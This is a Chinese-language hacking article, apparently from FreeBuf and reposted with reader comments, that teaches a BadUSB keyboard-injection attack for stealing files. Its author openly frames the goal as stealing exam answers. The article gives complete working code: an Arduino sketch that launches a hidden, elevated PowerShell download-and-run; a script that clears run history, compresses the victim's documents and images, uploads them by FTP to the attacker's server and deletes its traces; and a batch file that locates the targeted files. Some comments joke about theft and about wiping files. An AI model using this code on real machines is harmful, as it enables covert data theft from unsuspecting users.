HID高级攻击姿势:利用PowerShell脚本进行文件窃取

0×01 引言

又到了期中考试了,我又要去偷答案了,一直发现远程下载运行exe的方式不太好,容易报毒所以这里打算用ps脚本。

0×02 关于HID

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

0×03 准备工具

一台外网主机(直接电脑接网线宽带拨号也可以)

一个HID攻击工具(烧鹅或者Badusb)

FTPserver(搭建一个FTP服务器用来接收窃取到的文件)

PHPstudy(搭建http服务器用来存放ps脚本等)

7z.exe / 7z.dll(存放到http服务器下,之后会利用它来进行压缩后在上传,尽量减小上传速度)

0×04 代码部分(以下代码可能具有攻击性,请勿用于非法用途)

1.[get.bat](获取需要的文件存放位置,并保存到c:\temp.bat)[该代码存放于服务器http根目录下]

dir /s /a /b "%userprofile%\desktop\*.txt">c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.doc">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.docx">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xlsx">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.ppt">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.eet">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.et">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xlt">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.pdf">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.jpg">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.jpeg">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.png">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.bmp">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.gif">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.rtf">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.htl">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.txt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.doc">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.docx">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlsx">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.ppt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.eet">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.et">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.pdf">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpg">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpeg">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.png">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.bmp">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.gif">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.rtf">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.htl">>c:\temp.bat

2.[get.ps1](清除运行记录,下载服务器中的7z.dll / 7z.exe / get.bat到c盘到相应位置,处理c:\temp.bat为7z压缩为c:\Ram.7z,上传c:\Ram.7z到FTP服务器根目录下,删除所有下载的文件!!!一共需要改4处IP地址!!!)[该代码存放于服务器http根目录下记得设置FTP服务器密码为admin admin]

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f;

(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.dll','c:\7z.dll');

(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.exe','c:\7z.exe');

(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/get.bat','c:\Users\Public\get.bat');

C:\Users\Public\get.bat;$array="";foreach($u in(get-content c:\temp.bat)){[array]$array +='c:\7z a -t7z c:\Ram.7z "'+$u+'"'};$array | Out-File -Encoding default c:\temp.bat;c:\temp.bat;

$fileinf=New-Object System.Io.FileInfo("C:\Ram.7z");

$ftp = [System.Net.FtpWebRequest] [System.Net.FtpWebRequest]::Create("ftp://192.168.1.1/"+$fileinf.name)

$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile

$ftp.Credentials = new-object System.Net.NetworkCredential("admin","admin")

$ftp.UseBinary = $true

$ftp.UsePassive = $true

$content = [System.IO.File]::ReadAllBytes($fileInf.fullname)

$ftp.ContentLength = $content.Length

$rs = $ftp.GetRequestStream()

$rs.Write($content, 0, $content.Length)

$rs.Close()

$rs.Dispose()

Remove-Item c:\temp.bat

Remove-Item c:\Ram.*

Remove-Item c:\7z.*

Remove-Item c:\Users\Public\get.*

3.[get.ino](以管理员权限下载get.ps1到本地c:\users\public目录!!!需要改1处IP地址!!!UAC闪过之后要记得拔出)[修改IP后直接刷入]

void setup() {//初始化

  Keyboard.begin();//开始键盘通讯 

  delay(5000);//延时

  Keyboard.press(KEY_LEFT_GUI);//win键 

  delay(500); 

  Keyboard.press('r');//r键 

  delay(500); 

  Keyboard.release(KEY_LEFT_GUI);

  Keyboard.release('r');

  Keyboard.press(KEY_CAPS_LOCK);

  Keyboard.release(KEY_CAPS_LOCK);

  delay(500); 

  Keyboard.println("POWERSHELL -NOP");

  delay(800);

  Keyboard.println();

  delay(800);

  Keyboard.println("START-PROCESS -fILEpATH POWERSHELL \" -NOP -W HIDDEN -C SET-eXECUTIONpOLICY rEMOTEsIGNED -FORCE;CD $ENV:PUBLIC;(nEW-oBJECT sYSTEM.nET.wEBcLIENT).dOWNLOADfILE(\'HTTP://192.168.1.1/GET.PS1\',\'C:\\USERS\\PUBLIC\\GET.PS1\');./GET.PS1;EXIT\" -vERB RUNAS;EXIT");

  Keyboard.press(KEY_CAPS_LOCK);

  Keyboard.release(KEY_CAPS_LOCK);

  Keyboard.end();//结束键盘通讯 

}

void loop()//循环

{

  Keyboard.release(KEY_LEFT_ALT);

  Keyboard.press(KEY_LEFT_ALT);

  Keyboard.print('y');

  Keyboard.release(KEY_LEFT_ALT);

  Keyboard.release(KEY_LEFT_ALT);

  Keyboard.release(KEY_LEFT_ALT);

  Keyboard.release(KEY_LEFT_ALT);

  delay(50);

}

mrzcpo投递,转载请注明来自Freebuf.COM(黑客与极客)

mrzcpo

mrzcpo4篇文章等级:3

这家伙不懒

发表评论

已有 13 条评论

  • pa0s  2016-03-25 回复 1楼

    [笑cry][笑cry]话说以前我搞试卷都在教室多媒体上 写个脚本检测有u盘插入就压缩指定类型文件并上传ftp了[噢耶][噢耶]

    亮了( 2)
  • __画船听雨  2016-03-25 回复 2楼

    杰哥一个木马走遍天下都不怕

    亮了( 5)
  • 戒贤  (3级)  2016-03-25 回复 3楼

    当心偷到涉密的文件哟

    亮了( 2)
  • evil7  (1级) 入梦落樱满熏香,梦醒犹记四月谎  2016-03-25 回复 4楼

    你怎么不写个timebomb直接del *.* 吓得考试都紧急取消了

    亮了( 5)
    • mrzcpo  (3级) 这家伙不懒  2016-03-25 回复

      @ evil7  小伙子你的机智吓到我了

      亮了( 5)
  • 来盘炒饼  2016-03-25 回复 5楼

    万一打包到一个几G的.avi

    亮了( 5)
    • mrzcpo  (3级) 这家伙不懒  2016-03-26 回复

      @ 来盘炒饼 所以说尽量不要偷视频文件 :eek: :mrgreen:

      亮了( 3)
  • 卡西莫多的咖啡  (2级)  2016-03-26 回复 6楼

    这是一篇难得的发人深省的好思路

    亮了( 3)
  • cwg2552298  (5级) Follow my own course  2016-03-26 回复 7楼

    :roll: 这学期的思修要及格了

    亮了( 4)
  • 圆餠君  2016-03-26 回复 8楼

    拿回来是加密的pdf[笑cry]

    亮了( 2)
  • 英格力士杰  (1级) 安全圈的路人甲  2016-03-28 回复 9楼

    这个过程好像是,拿到了别人的机器,给他的键盘上刷进去一个检测脚本,检测U盘中的可疑文件并上传。但是控制机器并往键盘刷入文件这个过程要怎么办啊???

    亮了( 0)
  • fsf  2016-03-28 回复 10楼

    假如 对方电脑没登陆入,可否能执行?

    亮了( 0)
  • Catsay  2016-03-28 回复 11楼

    我是新手 话说文中的ip地址是http服务器还是ftp服务器….还是外网机器的

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值